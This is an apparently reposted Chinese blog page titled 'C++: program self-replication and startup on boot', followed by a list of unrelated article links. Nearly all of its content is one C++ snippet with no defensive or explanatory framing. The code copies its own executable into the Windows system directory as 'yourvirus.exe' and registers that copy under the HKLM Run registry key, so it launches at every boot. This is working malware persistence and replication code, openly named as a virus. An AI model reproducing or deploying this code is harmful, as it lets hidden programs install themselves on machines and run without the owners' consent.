博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
C++:程序的自我复制及开机启动
阅读量:7026 次
发布时间:2019-06-28

本文共 818 字,大约阅读时间需要 2 分钟。

#include 
int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) {
char system[MAX_PATH]; char pathtofile[MAX_PATH]; HMODULE GetModH = GetModuleHandle(NULL); //得到当前执行文件的全路径 GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile)); //得到系统文件所在目录的路径,如c:\windows\system32 GetSystemDirectory(system,sizeof(system)); //形成要复制到的全路径,如c:\windows\system32\yourvirus.exe strcat(system,"\\yourvirus.exe"); //自我复制到目标路径 CopyFile(pathtofile,system,false); //写入注册表,以便开机自动运行 HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system)); RegCloseKey(hKey); return 0; }

转载地址:http://lmoxl.baihongyu.com/

你可能感兴趣的文章
算法之排序简短总结
查看>>
【css3学习系列】之box-shadow,radial-gradient,linear-gradient
查看>>
数数我的神器
查看>>
vue实践:v-if v-show区别
查看>>
Swift & Cocoa 实战之泛型编程:Swift 中的泛型编程
查看>>
Spark求统计量的两种方法
查看>>
自动完成功能的副作用
查看>>
Liferay 用权限控制视图
查看>>
某游戏官方恶心的登录验证
查看>>
Stack Based Windows Buffer Overflow Tutorial
查看>>
Android开发学习笔记:Notification和NotificationManager浅析
查看>>
mysql工具innotop安装
查看>>
MySQL 4.1/5.0/5.1/5.5/5.6各版本的主要区别
查看>>
快速构建Windows 8风格应用31-构建磁贴
查看>>
Qt可视化-QTableWidget学习小结
查看>>
WordPress优化:为博客边栏添加小宠物
查看>>
技术分享连载(五十八)
查看>>
JPDA 架构研究8 - Agent利用环境指针访问VM(堆栈管理篇)
查看>>
2017 Unity手游体检蓝皮书 — ARPG篇
查看>>
Optimize GameObject选项对骨骼Transform的影响
查看>>